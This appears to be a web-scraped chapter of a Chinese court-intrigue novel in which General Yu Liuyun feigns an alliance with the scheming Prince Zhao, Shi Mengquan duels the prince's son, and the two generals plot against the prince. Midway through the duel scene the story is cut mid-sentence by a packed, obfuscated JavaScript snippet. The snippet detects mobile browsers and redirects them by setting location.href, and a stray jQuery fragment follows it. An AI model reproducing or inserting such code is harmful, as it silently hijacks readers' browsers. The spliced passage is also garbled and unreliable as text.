玉旒云先还以为江湖中人都带了文士的酸腐之气,尤其这林枢恃才傲物,恐怕会一口拒绝,未料这样就答应了下来,反倒使她觉得有些怀疑。待林枢来给她拔针之时,她就盯着这眉心有着朱砂胎记的年轻大夫,冷冷道:“你们郑国有没有武林义师我是不知道。不过,楚国的武林义师我能对付,其他各国的乌合之众也奈何不得我。谁不怕死想来试试的,就尽管来好了!” 林枢还是那样,冷冷淡淡,似乎根本就没听见,收了针,下去了。 快中午的时候,终于有家人来报:“赵王府差人来请将军过去,说是要商量成亲的事。” 石梦泉依然不习惯自己扮演的角色,面色显得有些尴尬。 玉旒云肩伤不再疼痛,就又有了打趣他的心情:“找你就说‘商议成亲’,找我却不知用的什么理由?”然而不待石梦泉抗议,她又正色道:“好吧,昨天的全都是诱敌之计,战斗这时才真正开始,小心应付了!” 二人就一同来到赵王府。愉郡主早就在门口翘首盼望了,见到石梦泉立刻就笑着迎了上来,然而看到“不请自来”的玉旒云,难免就有些不快:“你怎么也来啦?” 她话音才落,便见悦敏也从门内走了出来:“玉大人,小王正要亲自去请你过府来赏玩一只古鼎,你竟已到了,实在巧得很。” “大哥,什么古鼎?”愉郡主听得莫名其妙。 玉旒云对这姑娘的厌恶可谓与日俱增,得到个机会就想刺她两句,因呵呵笑道:“永泽公昨夜就和我约好了,难道我玉某人有那么大的架子,还需要人专程再请一次么?古鼎在哪里?我可等不及了。” 悦敏道:“自古只有英雄才可逐鹿问鼎。应该是小王的宝鼎等不急要见玉大人才对。玉大人请——石兄弟,你也先别急着和我妹妹卿卿我我,先来看看这宝鼎吧。” 石梦泉求之不得。愉郡主却不乐意:“什么宝鼎?听也没听说过。我也要看。” 悦敏一板脸:“说了英雄才可逐鹿问鼎。男人的事,你姑娘家别掺和!” “什么嘛!”愉郡主气得直跺脚,等他们都走远了,才反应过来,嚷嚷道:“玉旒云不也是女的?可恶!” 玉旒云、石梦全由悦敏领着朝赵王爷的练武房走。一进门,就看见上方供着一柄罕见的四尺长刀,当年赵王就是靠着这柄刀,陪太祖皇帝打天下。大樾建国之后,太宗皇帝赠了他另外一柄刀,于是这一柄就供奉了起来。 悦敏请玉、石二人走到了刀跟前,在案上轻轻一揿,后面的墙上就显出一扇暗门来。“两位请——” 玉、石二人互望一眼:谅他也不敢用什么下三滥的伎俩暗算咱们!于是,跨了进去。 那后面另有一番天地。正对面的墙上乃是一幅“驰骋天下”的条幅。玉、石二人对书法都没有研究,若换了程亦风来看,这字的间架结构大大的有问题,并不是书法上作。然而,四个字写得狂放洒脱,好像真的已经横扫天下了。再看旁边落款,乃是樾太祖皇帝。房间的左右两边,一边是书架,一边是兵器架,正和着‘文韬武略’之意。而房间正中果真有一樽青铜宝鼎,赵王就立在鼎边,微微而笑。 石梦泉躬身行礼。玉旒云却站着不动:“王爷果真是请我来问鼎的么?” 赵王负着手:“玉爵爷说这话是什么意思?” 玉旒云冷笑:“我是什么意思,王爷岂会不知?阁下是想继续守着这个青铜鼎跟我玉某人装腔作势打哑谜,还是真正到神州宝鼎之上去一试身手,就请立刻说明了吧,省得白费时间。” 赵王依旧负着手不说话,盯着玉旒云上下打量。 玉旒云轻哼了一声:“梦泉,我们走。”说着,便欲转身。 “玉爵爷留步!”赵王追了上来,呵呵而笑,“年轻人就是性急,不过够爽快,老夫欣赏得紧!” 玉旒云当然也未打算真走,眯着眼睛看这身经百战的开国元勋有何下文。 赵王道:“本王的打算,玉爵爷早也猜到了。不知玉爵爷今日来到,给本王一个怎样的答复?” 玉旒云道:“我人既然到了这里,难道这答复还不清楚么?” 赵王道:“本王老了,心思没有你们年轻人转得那么快。有些话不听人明白的说出来,总不能确定自己猜的对不对。” 玉旒云道:“王爷猜的是何者?您昨日不是还教训我要‘不二过’么?你暗示说我玉某人功到震主,遭皇上猜忌,叫我另投明君。如果玉某人连这些隐意也揣测不出,那就枉费王爷欣赏我一场。我要是光猜出来了,却不照着来想、来做,那也枉费王爷您欣赏我一场了。” 说来说去,她就是不直接说造反。石梦泉知道,这是在等赵王先发话,将来追究起来,玉旒云才不会被反咬一口。 赵王却是条老狐狸,笑了笑,道:“玉爵爷说话真是把我这老头子绕糊涂了。敏儿,你来给玉爵爷,石兄弟上茶,大家坐下来慢慢说。” 悦敏应声“是”,居然当真到一边给玉、石二人斟了茶来。玉旒云道:“这可不敢当。王爷是太宗皇帝遗诏‘兄终弟及’的皇位继承人,永泽公便是皇储太子,可不折煞我了?” 石梦泉一惊:她怎么把这秘密给说出来了? 赵王和悦敏的面色也为之一变。 赵王道:“玉爵爷,这可不能胡乱说。要掉脑袋的。” 玉旒云哈哈大笑:“王爷,都说不要拐弯抹角装腔作势了,您何苦还费这功夫?我就不信容贵妃没有把遗诏的事都告诉您和永泽公。” 赵王的脸一沉,石梦泉明显地感觉到了杀意,立刻往玉旒云身边又护紧了一步。 玉旒云道:“王爷请放心。这遗诏的事,并不是我玉某人编出来陷害王爷的,是确有其事。乃是万岁爷亲口跟我说的。” 赵王皱起了眉头,掩饰不住有诧异之色,陈年旧事一幕幕浮上心头:樾太祖皇帝驾崩之时天下未定,他是死在南征的途中。而赵王自己犹在西方征战,一听到父亲的死讯立刻就赶到了南方前线,只听到母亲殉葬的噩耗,而哥哥已经登基为帝。个中内情他怀疑过太多次了,可一直也没有证据。但是王位是他的,本就是他的,或者应该是他的,按照太祖对他的喜爱,或者按照他的实力,无论如何,王位是他的。今日玉旒云带来的话……他依然狐疑地看着这年轻人。 “这些陈年的恩怨结下之时,我玉某人还未出生呢!”玉旒云道,“我上哪里去找这些掌故来编造故事骗人?再说,编造这样的故事,对我又有什么好处?这确实是万岁爷亲口所说。太宗皇帝当年做了亏心事,一世不得安宁,将这秘密告诉了仁宗皇帝,仁宗皇帝又告诉了当今圣上——若这也是编的,编造这样的故事对他们又有什么好处?” 赵王按了按太阳穴:“你既然被皇上猜忌,他又怎么会跟你说这样只有天子才代代相传的秘密?” 玉旒云轻轻一笑:“王爷只会说玉某人功高震主,惹皇上猜疑,但是您是开国功臣,三朝元老,您的战功岂不比玉某人这毛头小子高得多么?皇上要猜忌,也是先轮到王爷吧?” “你——”赵王抬手,几欲怒而拍案,但终于还是忍住了。 玉旒云道:“我不怕告诉王爷,其实我这领侍卫内大臣的官职不是皇上今天才想出来的,前天夜里他就发了秘旨叫我和梦泉进宫护驾了。是你们的容贵妃露了马脚,叫皇上发现了,他知道王爷要造反,吓得魂也丢了半条。哪里还顾得上猜忌我?他将这皇贵妃殉葬、太宗立兄终弟继诏书的事都同我讲了,求我快想办法救他。” 此话一出,赵王和悦敏都颜色大变,连石梦泉也惊诧地望着玉旒云:他怎将庆澜帝的计划都合盘托出? 悦敏一步逼到玉旒云的跟前:“那你今天来究竟是为了什么?” 看他双臂微振,蓄势待发,玉旒云已经吃过一回亏,这次老早就做好了闪避的准备。而石梦泉也紧紧护卫,不敢有丝毫的懈怠。 “敏儿,退后!”毕竟姜还是老的辣。赵王喝止了儿子,饮了口茶,手指仿佛漫不经心地绕密室的墙壁指了一圈,仿佛暗示着后面还埋伏有高手。继而缓缓道:“玉爵爷进了本王的秘室,可以好端端地走出去,也可以生不见人,死不见尸。她是为何而来,你让人家慢慢说。” “可是……”悦敏攥进了拳头,很有些不甘。 玉旒云也呷了口茶,示意石梦泉不必如此紧张,自己慢条斯理道:“我为何而来,岂不显而易见?皇上听说王爷要反他,这才求我相救,若王爷不反他,随便大臣们吹吹风,造造谣,他就能把我禁足一个月。我本来已功高震主,若是帮他除掉了王爷,那我的功劳岂不是更大了?他对我的疑心岂不也更大了?那下一个被除掉的,不就是我么?王爷教训我要‘不二过’,我看最好是第一次错误也不要犯。咱们这些人,无论在战场还是在朝堂,都一样,一个错误就可能丢了脑袋,哪里还有‘二过’的机会?” 这里的暗示似乎是相当明显了。赵王端着杯子,凝视着玉旒云瓷白的脸,似乎这种后生小辈任何的谎言破绽都逃不出他的法眼去。玉旒云只是静静地回望着他,丝毫也不闪避那刺人的目光。半晌,赵王哈哈大笑起来:“我就说玉爵爷你是个人才,果然不错。这茶可是西瑶的好茶,现在还要通过楚国才能运过来。他日玉爵爷拿下楚国,这茶叶就不希奇了。趁现在物以稀为贵,本王还可献献宝——请——” 这话表态也十分明白:你助我登上皇位,我就全力支持你攻打楚国。 玉旒云一牵嘴角,笑了,也端着茶杯:“王爷请——” 两人同饮,罢了,相视,又哈哈大笑起来——古人讲求歃血为盟,其实不过是相互利用,既如此,也不拘于形式了。 石梦泉到这时也约略猜出,玉旒云这是故意将事情说出来,才使得赵王更加信任他们。虽然这样风险极大,但对付赵王这样的老狐狸,恐怕不冒点儿险还不行。 “等等!”悦敏冷冷地插话,“玉大人如果是诚心和我父王联手,为何昨夜要设局陷害博西勒?” “她?”玉旒云不紧不慢,“首先,我是要给她一个警告——她在皇宫里怎么兴风作浪都可以,要去打我姐姐的主意,我总有办法让她死得很难看。”分明充满了怨毒,但她的语气却平静得如同茶水。“其次,我也是给王爷和永泽公提个醒儿——或者不如说,是给我自己留条后路。今日我跟王爷联手,可以说是王爷一步一步逼我到这条路上来的,也可以说是我自己选的。这朝廷中,如今皇上是皇上,王爷是王爷,只我玉某人才是一股中间力量。这柄杠杆要偏向哪头,取决于我玉某人朝哪头站。我演了这出生擒容贵妃的戏,就是想让王爷知道——我可以同您联手,也完全可以不同您联手。如今既决定要合作,请记着,倘若您在我背后捅刀子,我不会坐在那儿乖乖地挨。” 赵王眯缝着眼睛:“还有第三么?” 玉旒云道:“当然有。我就是想要找个法子把这遗诏的事传出去。容贵妃如果去张扬此事,对王爷是有利无害的吧?这个,就算是我向王爷表示我合作之诚意的第一份礼。” 这一招……石梦泉不禁暗暗为玉旒云捏了把汗:未免也太险了! “哦……”赵王愕了愕,既而呵呵笑了起来,“玉爵爷不仅在战场上是个人才,在官场上也很有谋略嘛,将来的前途一定不可限量!” 玉旒云也笑:“承蒙王爷夸奖。玉某人后生晚辈,却在您这儿班门弄斧,叫您笑话了。” 赵王道:“哪里,哪里,所谓后生可畏,本王老了,将来的天下都是你们年轻人的。” “王爷这是什么话?”玉旒云道,“王爷老了,将来的天下就是永泽公的。我只保着这个爵位不要被人胡乱安上‘功高震主’的罪名,就已经满足了。” “哈哈哈哈!”赵王又是一阵大笑,“好!年轻人虽然要有志气,不过能找准自己的位置,懂得知足才会一生风光,否则,难免要英年早逝。” 石梦泉听他发这种议论,心中十分厌恶:那你呢?觊觎王位,不惜任何手段,难道就不怕自食其果么? 才想着,赵王倒说到他了:“石兄弟,本王不是瞎子,我家那傻丫头死心塌地地看上了你,你却落花有意流水无情。你当初答应下这门亲事,无非是想本王帮你把玉爵爷救出来。到头来,本王没帮上什么忙,你却被太后稀里糊涂地指给了婚。你老实同本王讲,你若是后悔了,本王可不勉强你。” 石梦泉一愣,这可不啻喜从天降了! 可玉旒云从旁呵呵一笑,道:“王爷这就看错了。梦泉同我从小一起长大,就像亲人一般,没人比我更了解他。他看上了什么人,嘴上是一定不会说的。尤其像令爱这样一个高贵又漂亮的姑娘,他就是心里再喜欢,也不敢出口啊。” 石梦泉听她这番话,心中震动,不知是怎样的滋味:说是了解我,果然没有人更甚于她。我的确是爱上一个遥不可及的女子,而且我这一世也不会开口……可她如此了解我,却偏偏不知道这个女子就是她?或许她还是不知道的好……不知道的好! 赵王挑起眉毛:“果真如此?”他看着石梦泉。 “王爷还问他?”玉旒云笑道,“这种事情问到他,那就好比问了一段木头。再说,太后已经开口赐了婚,岂能儿戏?若这时候反悔,不就是摆明了是和皇上、太后娘娘对着干么?对王爷的大计也不利吧?” 赵王想了想,似乎言之有理,便道:“但我身为长辈的,可不希望儿女的终身都搭进这权谋斗争之中来。棒打鸳鸯的事,我不想做,拉郎配的事,我也不想做。”说时,看了看悦敏,颇有深意。 石梦泉注意到了,暗想:莫非永泽公和那个容贵妃还真的有旧情?那赵王其人实在也太过不择手段了,毁了儿子的幸福又把女儿也当成是工具,他日若扳倒了他……啊,谋反是满门抄斩的大罪,悦敏和愉郡主左右是没有将来的了! 悦敏却不为父亲的眼神所动,道:“父王,玉爵爷是个开门见山的人。儿子看,您也不必和她多客套了。我们在西京住的日子已久,该回北疆去了。有什么事情要叫玉爵爷帮我们在京里做的,趁早议定才是。” 赵王颔首:“正是。” 玉旒云即飞快地瞥了石梦泉一眼:进入正题,小心应付。石梦泉也轻轻地点了点头。 可赵王摸摸下巴,道:“不过目下也没什么可做的。打仗讲求天时、地利、人和,其实万事皆是如此。咱们现在三样都有些规模,却又都不足够,根本成不了气候。玉爵爷在京中只要安安心心地当差,静等时机成熟便可。” 本以为他会说出什么具体的计划,未料竟是这样的敷衍之辞。玉旒云不免有些泄气:看来赵王并没有完全信任他们。 她不甘心,又套问一句:“那什么时候叫时机成熟?” 赵王瞄了她一眼,有种绵里藏针的阴险:“年轻人不要这么性急,一口就想吃成个胖子么?‘时机成熟’是只可意会不可言传的感觉,你多历练几年,到了本王的这个年纪大概火候就够了,那时,时机一成熟,你立刻就知道,像野兽能嗅到血腥味一样。” 玉旒云碰个软钉子。她知道到了这份儿上,若再强问,只有叫赵王更加怀疑自己,因呵呵一笑,道:“多谢王爷教诲,玉某人一定谨记在心。” 赵王站起身来:“这宝鼎也欣赏得差不多了。今日不是来商议婚事的么?且去看看那酒菜预备得如何了。” 这话是预示着秘谈结束。四人便一齐走出了暗室。迎头撞到愉郡主。赵王即变色道:“不是说了不准你进练武房么?谁让你来的?” 愉郡主愣了愣,撅着嘴委屈道:“是母妃让我来看看你们欣赏完那个什么宝鼎了没,差不多该是吃午饭的时间了。” 赵王道:“欣赏完了。”顿了顿,忽然又道:“敏儿,你不是说想和石兄弟较量一下枪法么?何不乘此机会切磋切磋?” 几人都是一怔。愉郡主道:“干吗好好儿的要叫他们打架呀?那个……人家病才好了,哥哥出手一向没数,万一打伤了……” “果真嫁出去的女儿泼出去的水!”悦敏道,“你看上石兄弟,还不是因为人家少年英雄?你怎么不担心人家把你哥哥打伤?” 愉郡主翻了翻白眼,不理他。 赵王道:“耍嘴皮子你倒厉害。我看你一会真打输了,脸往哪儿搁!还不去拿你的兵器!” 悦敏道:“是。” 赵王又对女儿道:“你也还不陪石兄弟去选杆称手的枪?” 愉郡主应声“哦”,便把眼来石梦泉,目光才一抬,就已经两颊绯红:“我们……我们上那边……”说得蚊子哼哼似的。 玉旒云看着他们都走开,只剩自己和赵王,陡然升起一股胁迫感,一抬眼,就看到两道似笑非笑的目光,竟不自觉地打了个寒战:这老狐狸是特意差开了旁人,还有话专门要同自己讲! 那边悦敏已持枪而立,石梦泉亦挑好了兵器——仿佛他也感觉到了事情有异,正朝玉旒云这儿投来探询的一瞥。 不知这中间是何阴谋,玉旒云想,若让梦泉分心,总是不好。也不见得自己就应付不了,想着,她微微一笑,表示一切都好,让石梦泉专心和悦敏过招。 石梦泉便将长枪端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728611|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,摆了个“请”,让悦敏先进招。后者也不客气,枪一抖,毒蛇般直搠了过去。 石梦泉侧身让开。而悦敏的腕力收放自如,招式不待使老,已经干脆地定住,跟着变扎为扫,横着打向石梦泉腰间。 石梦泉朝后退了一步,让枪尖堪堪贴着自己跟前划过。 悦敏叫了声“好”,进逼上前,长枪又反向抡了回来。这一招变化之快,非腰力惊人者不能完成。石梦泉要走动闪避已是不能,只有将手中兵刃朝地上一撑,人借力跃到了半空,才又化解了去。 悦敏依然是叫了一声“好”,挺枪向上,要封石梦泉的后路。不过,石梦泉礼让三招已毕,看对手的枪尖刺到,便在空中一个翻身,双脚朝枪身上直踏,同时自己的长枪也斜扎了下去。悦敏一愕,只得收招防守。 这时,两下里放才斗得你来我往,精彩了起来,飒飒的风声,让这初夏时节都变得恍如深秋。 愉郡主看得目不转睛。玉旒云却是等着赵王同自己开口。 果然,当那边斗到紧要处时,这老奸巨滑道:“玉爵爷,你真得觉得自己是这场争斗中的中间力量么?” 玉旒云并不看他,道:“我原本是中间,不过如今同王爷联手,那就是王爷这边的人了。” 赵王无声地笑了笑:“爵爷真的觉得你能随意选择么?” “王爷什么意思?” 赵王道:“十六年前的一桩往事,爵爷以为除了皇上、太后,几个眼花耳聋的老太妃,以及几个死掉的人,就没别人知道了么?” 玉旒云一凛,惊愕地看着赵王。 赵王阴冷的面色中透出了一丝得色:“这件事情天长日久,爵爷又改名换姓,少有人提起。而爵爷憎恨楚国,凡是知道这事始末的人都清楚爵爷对大樾忠心不二。只不过,其他不知内情的人呢?比如千万的将士,以及他们的父母……樾国的老百姓似乎对爵爷没什么好印象。倘他们晓得了一点断章取义的经过,不知会如何想……素云公主?” 玉旒云不禁朝后退了一步。稳住!她命令自己。 赵王呵呵干笑:“所以,您虽然是中间力量没错,但是你无法选。无论你选择哪一边,另一边都有可能将你的秘密公诸天下,而即使是你选的那一边,有一天也会‘飞鸟尽,良弓藏’,用这事在背后摆你一刀。除非你自己反了。不过,你反了,那朝阳公主要怎么办?再说,你有这个本事反么?” 玉旒云感觉自己的手脚变得冰冷,赵王的目光已经成了一把钝刀,正缓缓地切割着她的血肉,不远处石梦泉和悦敏闪转腾挪的身影则幻化成一片硕大的黑影,将整个世界都遮得暗了下来。她看见有人朝她走过来,一身漆黑,只能看见雪亮的刀和同样锋利的眼睛。那刀就斩下来了……斩下来了…… 她一下站立不稳,撞到了身后的书架上。上面的书淅沥哗啦地坠落。听见有人喊“玉大人”,认出是石梦泉的声音。她才重回现实。正看到石梦泉单手将长枪猛砸了下去,悦敏惊诧地横枪来挡,而“喀嚓”一声,被打成了两段。 石梦泉也不看战果,将枪抛了,飞跑了过来,一手撑住那摇摇欲倒的书架,另一手扶住玉旒云:“大人,你没事吧?” 玉旒云感觉这只手犹如一个坚强的后盾,立刻将自己支撑住了,纷乱的思绪霎时消失得无影无踪,精神也为之一振,心里说道:我早也发誓再不让人欺侮我,赵王几句话能把我如何?我总要叫他再笑不出来! 想着,她掸了掸衣服,笑道:“王爷,这武也比完了,你家的酒菜呢?把客人饿得头晕眼花,这是什么道理?” 赵王看着她,眼里的笑意蔓延:“素闻玉爵爷是个冷面将军,没想到如此风趣,酒菜在花厅里,今天可要不醉无归。”他又转向悦敏:“怎样?你今天终于见识了石兄弟的枪法吧?输得心服口服了么?” 悦敏似乎还未从方才那最后一击中回过神来,兀自抓着两截断枪,听父亲说话,片刻才回答:“石兄弟功夫果然非同寻常,我甘拜下风了。” 愉郡主在一边看得惊心动魄,也是才如梦初醒,立刻跑来把石梦泉上下打量,确定没有损伤,才又去看哥哥是否平安无事。悦敏照样要打趣她“女心外向”,只不过这一次,神态多少有些勉强。 几人出了练武房,一起朝花厅去。一路上玉旒云神态自若,目不斜视。石梦泉很想去问究竟方才是出了什么事,但总也没有机会。直走了花园的月门旁,忽看到那个西瑶的蓝沧和他那随从由对面走来,石梦泉心里不由奇怪:怎么,这两人又到赵王府来做什么? 那两人转瞬就到了跟前了,还有个领路的,竟然是康申亭。他见了石梦泉,面上带着笑,却比哭还难看。 蓝沧和随从都向赵王等行礼。赵王问道:“尊使突然造访,却为何故?” 蓝沧道:“哦,也不是专程来打搅王爷,实在是那天来时丢了一枚玉佩在王爷的花园中。此佩乃皇上御赐,不得以,在下才专程回来寻找。” “是这样。”赵王道,“本王叫下人都来帮尊使找找看。大不了把这花园翻过来,贵国皇帝陛下御赐的玉配却丢不得。” 那蓝大人自然道谢,可眼睛却盯着玉旒云。 赵王注意到了,即打了个哈哈,道:“哦,尊使来得也巧。这位就是我们大樾国最年轻有为的惊雷大将军,不过新近高升了,现任领侍卫内大臣,乃是万岁爷跟前第一红人。” 蓝沧“哦”了一声,他身后那随从便道:“大人,这不就是私吞我国贡品的人么,可巧叫咱们遇上了,得向她讨个说法才行。” 好个大胆的奴才!玉旒云瞥了这人一眼,正对上那凛冽的冰绿色,不禁一惊:一个随从的眼里竟有这种气势? 赵王道:“哎,何必这样伤和气?本王已经问清楚了,玉爵爷当日借用了贵国的灵芝,乃是为了救这位石将军——尊使已经见过石将军了吧?他昨日得太后娘娘赐婚,已经是本王的准女婿了。所以说起来,贵国的灵芝贡品救了本王的女婿。尊使硬要算帐,那就由本王代为赔罪吧!” 咦?石梦泉心中一凛,玉大人不曾和任何人说拿灵芝救我的事,赵王从何得知?啊,莫非这事也是他安排的?他算计玉大人的这个圈套远比我们想象的还要大! 蓝沧愣了愣,道:“哦……这……怎么好意思叫王爷赔罪呢……我看……” 那随从凑到他耳边上,声音却并不小:“大人,既然是王爷出面,就算了吧。我们还是找那玉佩要紧。” 蓝沧道:“哦,是,是……王爷您不必理会在下,我们寻着了玉佩就回四海阁去。” 他才说着,听那随从“哎呀”了一声:“大人,不在那里!”俯下身去,果然就在花丛中捞出一枚玉佩来,乃是晶莹剃透的红玉蟠龙,双手交到了蓝沧的跟前,道:“大人,找到了,咱们就告辞吧!” 赵王也不拦他们,嘱咐康申亭好生送了人家回四海阁,复又笑着引玉、石二人往花厅。 玉旒云只暗自皱着眉头:官做得再大,佩了龙就是违制。西瑶的皇帝会把蟠龙佩赐给臣子?这叫什么道理?再说这找玉佩一幕,未免也太像做戏了!她有心找石梦泉商议,可望过去时,见愉郡主正笑盈盈盯着自己的“未婚夫”,真叫人好不恼火。 恰这时,又有一个赵王府的家人匆匆跑了过来,道:“王爷,兵部来了人,有要事找玉大人和石将军。” 赵王一皱眉头:“是什么大不了的事?连顿安稳饭也不叫我们吃?” 那家人道:“说是这次大青河之战中犯了大错岑远岑总兵从南方押回来了。岑总兵是岑老将军——也就是当今西方六省总督——唯一个侄子,兵部那边不知玉大人是如何发落的,要请玉大人过去。” 玉旒云巴不得找个机会可以脱身,立刻就欲告辞。 悦敏看穿她的用意,抢上道:“这是什么了不得的事?既然是犯下大错,那就按军法处治好了,何必还这样麻烦?” 石梦泉也想速速脱身,有好些话要跟玉旒云讲,因道:“话是如此,但岑总兵是岑家唯一的继承人。念在岑老将军一生为国征战,总不能叫他后继无人吧?” 赵王看了看玉、石二人,呵呵笑道:“依老夫看,还是正事要紧。菜什么时候都能吃,酒也什么时候都能喝。玉爵爷,咱们将来的日子还长着呢,你说是不是?” 玉旒云笑了笑,算是赞同:“那么玉某人就告辞了!”说时,就招呼石梦泉一起走。 愉郡主嘴撅得老高:“父王,石……他也要去呀?”而悦敏则低声提醒父亲:“父王,他们两人会不会……” 赵王呵呵笑道:“让他们商议。他们有的是事情要商议。不过玉爵爷是个很聪明的人,自己晓得权衡,属下的意见是不会左右她作决定的。” 玉旒云真是恨得牙痒痒的,等走出了赵王父子的视线,就狠狠地折下一枝花来,丢在地上踏得粉碎。 石梦泉在王府家人跟前,不敢问话,直出了门,往兵部去了,他才问道:“大人,方才在练武房里,赵王他……” 玉旒云“哼”了一声:“小人得志罢了,不用理会他。我早晚要他好看——且说正经的,你觉不觉得那两个西瑶人有些古怪?” 石梦泉饶是担心,但见她不愿提,也不好强问,便循着她的问题把自己在四海阁里的经历说了,道:“那绿眼睛的随从倒不像个普通人。听说西瑶那地方有不少奇人异士,莫非他也是什么江湖高人么?” 玉旒云摇摇头:“他并没有江湖气。那蟠龙佩……可若是西瑶皇室之人,这样微服来到我樾国,未免有些冒险吧?怎么说,西瑶也曾是楚国的属国,而我们正与楚国交战……他就不怕我们把他扣下来?” “说是来给皇上贺万寿节的。”石梦泉道,“不过跟赵王爷走得很近,那贡品……”便又把方才的疑点讲了:“恐怕老早就和赵王密谋好,在南方就千方百计找机会算计你,也许,连那林大夫也是他们一路的?” “林枢……”玉旒云沉吟着,抚了抚伤肩,已经不似早晨疼得那样厉害了,“他倒是个人才,不管他是不是别有用心,若没有他,恐怕我也早已失去了你……” 石梦泉心中不禁涌起了一股暖流。 而玉旒云又接着冷笑了一声道:“不过,要是敢跟我耍花样,他一定会后悔的。” “要不,从林大夫着手,查一查?”石梦泉问。 “不必。”玉旒云道,“还查什么?赵王就是想要篡位,再查得透彻,也不过就是查出来他打算用什么手段篡位而已。我们不可让他牵着鼻子走。倒是那两个西瑶人……”她蹙眉深思,继而道:“你认为,会不会是赵王要和西瑶人结盟?” 石梦泉一愕,细细一想,道:“若只为了算计你我而和西瑶人走得如此近,实在没那个必要。可是,若要叫西瑶人助他篡位,那又有点儿鞭长莫及。倒是他和蛮族打了这么多年的交道,若有什么私相授受,那皇上就危险了!” 玉旒云咬着嘴唇:“你这样一说,我也怀疑……如果真是打败了蛮族,逼得人家献上公主,那这个容贵妃没道理这样替赵王父子俩卖命。倘若原本是一伙儿的,这还有些道理……蛮族……西瑶……他说他要天时、地利、人和……假若这些都是‘人和’,那么‘天时’是什么?‘地利’是什么?这老狐狸!” 石梦泉感觉危险隐藏在四面八方,正缓缓地袭来,真不晓得要如何着手防范才是,更别谈反击了。让他尤其忧心的是,赵王不知把握着什么杀手锏,恐怕能给玉旒云致命的伤害。他不允许。他决不允许! 玉旒云这时却忽然一笑,道:“老狐狸千算万算,或许是给他人做嫁衣裳呢!” 什么意思?石梦泉不解。 玉旒云道:“蛮族我们管不着。不过这西瑶……你不觉得这两个西瑶人今天特地到赵王府来‘找玉佩’十分奇怪么?” “的确。”石梦泉道,“多半是借着找玉佩的茬儿来做点别的什么事……不过他们却才来就走了……” “对,”玉旒云道,“是才见着我们,就走了。那绿眼睛的家伙仿佛还故意让我看到蟠龙玉佩。我觉得他是在暗示什么。” “你的意思是……他要叫我们……要和我们……结盟?” 玉旒云摇摇头:“这我就不知道了。但其中必然有古怪……西瑶,若能和西瑶结盟,楚国就两面受敌,对我们非常有利。” “现在可想不了楚国。”石梦泉忍不住提醒道,“赵王会在咱们后院放火的。” 玉旒云道:“是。不过……假如我也上他后院去放一把火……” “你说北疆?”石梦泉心念一闪,“派个人去挑拨他和蛮族的关系,或者就是找个人去给他找点儿麻烦?” 玉旒云点头笑道:“你果然知我心意!不过,咱们的人都在南方被刘子飞这个混帐控制着,从哪里找这么个人呢?” 石梦泉思索着,忽道:“岑远……你打算如何发落?” “他?”玉旒云恨恨地,“贪功冒进,我非把他革职发配不可!” “按军法,的确是该革职发配的。”石梦泉道,“不过,念在岑老将军过往的军功,轻判成降职也可吧。” “休想!”玉旒云没好气,顿了顿,又转头看看挚友:“你干什么替他求情?你想叫我从轻发落他,把他派到北疆?以他这种性子和本事,叫他潜伏在赵王的身边,恐怕只会成事不足,败事有余!” 石梦泉笑道:“没错呀——我们不就是叫人去赵王的后院放火么?只要‘败事’就好,何必要‘成事’?” “你的意思……” 石梦泉道:“他不是‘贪功冒进’么?我们其实什么也不用同他说,只叫他到边疆去戴罪立功便可。到时他性急,少不得立即就要带兵去攻打蛮人——若赵王当真和蛮族私通,铁定了要想方设法不让他去;万一拦不住,便得去善后。假若赵王并没有和蛮人勾结,那有岑远这样一个属下,也够他费心的。届时他忙于应付,咱们就有机会在南方‘收复失地’——在西京怎样部署,在瑞津怎样夺回咱们的人马,甚至和西瑶结盟……” 听他一路说下去,玉旒云的脸上渐渐放出了光彩:“这计划真是……真是……梦泉,世上只要我二人联手,还有谁能挡得住?就这样办!”说时,她一扬鞭子,骏马飞奔,直向兵部驰去。 31. 第 31 章 樾国那边的一场大变乱在暗中酝酿,楚国这边也不安闲。虽然知道玉旈云被招回京城暂时不会有重燃战火的威胁,但是胡喆始终是心腹大患,此人不除,程亦风食不下咽、寝不安身,就连到了朝会上,有时都浑浑噩噩——靖武殿里当上大学士的都是老臣,个个看他这个年轻人不顺眼,所以见他一副稀里糊涂的样子,就格外厌恶他。 杀鹿帮的人将此看在眼里。他们在京城已有一段时日,好吃的都吃过了,好玩的也玩过了,毕竟不是那种富贵闲人,哪怕是竣熙把他们当座上宾供着他们玩乐,他们也很快就觉得无趣,思念那刀口上讨生活的日子。尤其管不着除了偷过胡喆的一葫芦酒之外,就没做过别的案子——毕竟,竣熙请他们在礼部接待外省大员的迎鹤馆里住着,如此身份却跑出去随便偷些东西成什么话?他闷得快生出毛病来了。 不过这一天却偶然找到了乐子—— 一大早的时候迎鹤馆里就来了一大群新客人——全市来自全国各地的道士,原是胡喆被公孙天成挫了锐气之后,依然要如期举行那斗法大会,所以道士们就从四面八方而来。迎鹤馆除了接待杀鹿帮这批太子的特殊客人之外素来还没有接待过三品以下的官员,如今竟然来了几十个形状各异的道士,管事的简直不知道如何是好。 他说要先请示过礼部,而道士们却吵着要立刻入住,且叫嚣着要把迎鹤馆中现有的客人赶走,一来二往,两边就吵了起来。杀鹿帮的人闲来无聊,就看个热闹。 道士们都气势汹汹,不过迎鹤馆里也颇住了几个地位显赫的封疆大吏。双方谁也不肯让步,有几个到时当场就掏出符咒摇铃作法,扬言要将妨害他们的人咒死。杀鹿帮的众人看着既可气,又好笑。邱震霆道:“可怜程大人一条心地要为这个狗屁不通的朝廷卖命!” 大嘴四却比手划脚念念有词。猴老三不禁问他做什么。大嘴四即道:“我学学道士们的法术,好给他们来个‘以彼之道还施彼身’啊!” 